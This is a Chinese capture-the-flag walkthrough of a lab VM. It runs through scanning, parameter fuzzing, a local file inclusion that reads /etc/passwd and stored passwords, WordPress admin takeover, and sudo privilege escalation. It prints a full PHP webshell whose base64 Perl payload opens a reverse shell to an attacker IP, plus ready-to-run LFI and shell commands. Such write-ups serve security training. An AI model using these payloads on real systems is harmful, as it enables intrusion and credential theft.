一、信息收集
1.nmap扫描
┌──(root💀kali)-[~/桌面]
└─# arp-scan -l
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.202
发现开放了22和80端口
2.web页面
打开80端口的web页面,是一张静态的图片,没什么价值,看看页面源代码
右击查看网页源代码,也没有发现什么有价值的信息
3.目录扫描
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.103.202
扫描发现有/dev、/javascript、/wordpress/wp-login.php目录
/dev这个目录比较可疑,不常见,访问下看看
他提示我们,要非常努力的使用工具去深挖web。说明我们的扫描还没有扫描完全,没有挖透,所以,这里利用dirb + X参数
目录扫描工具再进行加一些参数,搞一个字典再进行目录爆破
我们可以选择带有.txt和.zip的一些文件后缀名再进行目录扫描一下
┌──(root💀kali)-[~/桌面]
└─# dirb http://192.168.103.202 -X .zip,.txt
打开一下这个扫描出来的.txt文件,查看一下文件内容:
下面圈起来,就是以下内容提示的重点了
//解释:
在你发现的每个php页面进行模糊测试吧,如果你得到了任何正确的参数,就跟着如下的步骤进行。
如果你依然卡住,学习一些OSCP基本工具的使用,
链接是https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web,
当你有了下一步进展之后去看看location.txt
并给出了模糊测试工具的github链接,同时还提示了我们有了下一步进展之后去看看location.txt。那么我们首先要做的应该是去寻找php页面。依旧使用dirb
:
┌──(root💀kali)-[~/桌面]
└─# dirb http://192.168.103.202 -X .zip,.txt,.php
两个.php:image.php index.php
二、漏洞利用
1.wfuzz
先查看下那个gethub提示的那个链接:
可找到参数应该是-c高亮显示,-w 使用字典进行尝试,把需要测试的页面改为image.php即可,github链接中还给出了范例命令
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something
测试.php的目录命令,如下:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.103.202/index.php?FUZZ=
这个结果可以看到,列表中的Chars列基本都是136 Ch
使用参数--hh 136 进行过滤,显示Chars列结果不含136的payload
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.103.202/index.php?FUZZ
成功找到了一个payload!名为file,这应该是我们要关注的位置。我们用curl或浏览器查看192.168.103.202/index.php?file
curl 192.168.103.202/index.php?file
发现比起前面的图片,多了这两句话
他这里提示,我们挖错文件了。
想起了刚才的secret.txt
提示我们有了下一步进展之后去看看location.txt,那我们就把location.txt作为参数传给file试试:
curl http://192.168.103.202/index.php?file=location.txt
提示修改传参的参数,并且使用别的.php文件:
curl http://192.168.103.202/image.php?secrettier360
提示我,说拿到了正确的参数,现在可以用这个参数进行传参数了,这个一看传参,就想到了应该会有文件包含漏洞
2.文件包含
先不管啥,一般文件包含,先试试读取一下/etc/passwd文件
发现成功读取到了/etc/passwd
http://192.168.103.202/image.php?secrettier360=../../../../../../etc/passwd
成功读取并回显了/etc/passwd,浏览器的效果看的头晕,还是用curl看一下**
┌──(root💀kali)-[~/桌面]
└─# curl http://192.168.103.202/image.php?secrettier360=../../../../../../etc/passwd
发现root,victor
账户有bash
环境,同时还在saket发现一句话,find password.txt file in my directory:/home/saket
莫非是提醒我们在/home/saket/password.txt存在信息? 那我们再用文件包含看一下/home/saket/password.txt
文件包含漏洞访问之后,password.txt中写了follow_the_ippsec ,怀疑这可能是某个账号的密码,应该是个很关键的信息。最后再试试能不能直接访问/etc/shadow。很遗憾,并不行,浏览器和curl都无法看到回显。
3.wordpress CMS渗透
follow_the_ippsec应该就是一个密码,开始发现了开启了22端口,所以,试试ssh登录,账号用开始/etc/passwd上面的root,victor,saket
,但是发现都失败了
之前的那个用dirb扫描的目录,还有一个wordpress,这个还没有去渗透测试,所以,现在把方向放wordpress上面。
说不定是wordpress这个cms的后台登录密码
先访问目录:
发现用户名:victor用户
这个是wp的默认登录位置:
http://192.168.103.202/wordpress/wp-admin/
发现,成功登录进去了
用户名:victor
密码:follow_the_ippsec
通过这个步骤,去找找里面哪些具有可写,可执行,且具有可以保存的功能的.php文件
之前写过一个这种类似的,可以利用404.php来写入一个反弹shell的木马,但是这个WP,发现没有提交这个功能,所以得去找,哪个具有可写入以及可提交的.php
文件
然后再secret.php
文件找到可以写入,并且有提交保存的功能的.php文件
/* Ohh Finaly you got a writable file */
4.反弹shell
GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.103.129";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
点击提交保存成功
在这里面可以找到哪个secret.php的文件上传的位置
/themes/twentynineteen/
因此我们要访问的路径就是/themes/twentynineteen/secret.php
,至于/themes前面的路径是啥,应该是wordpress主题的固定路径,也就是/wordpress/wp-content
,这个可以在互联网上搜索到wordpress的主题编辑页面的路径。因此完整的路径是:
http://192.168.103.202/wordpress/wp-content/themes/twentynineteen/secret.php
python -c 'import pty; pty.spawn ("/bin/bash")' #交互式shell
可以看到反弹成功了
三、提权
1.user.flag
开始我是直接到/home,查看有什么可以利用的账户,发现了saket
账户里面有passwd和user
账号:saket
密码:tribute_to_ippsec
user.txt是一串数字,这应该就是user的flag
2.ssh连接
账号:saket
密码:tribute_to_ippsec
python -c "import pty;pty.spawn('/bin/bash')" #交互式shell
3.sudo提权
提示我们,可以无密码的形式以root运行/home/victor/undefeated_victor
,那咱就运行试试:
sudo /home/victor/undefeated_victor
我们去/tmp目录下看看有没有这个challenge
文件,发现确实不存在
echo的方式创建challenge并追加命令:
echo '#!/bin/bash' > challenge
echo '/bin/bash' >> challenge
saket@ubuntu:/tmp$ chmod -R 777 challenge
saket@ubuntu:/tmp$ ls -la
-rwxrwxrwx 1 saket saket 22 Nov 8 21:09 challenge
这样应该就可以执行了,再次执行/home/victor/undefeated_victor
,即可提权成功
sudo /home/victor/undefeated_victor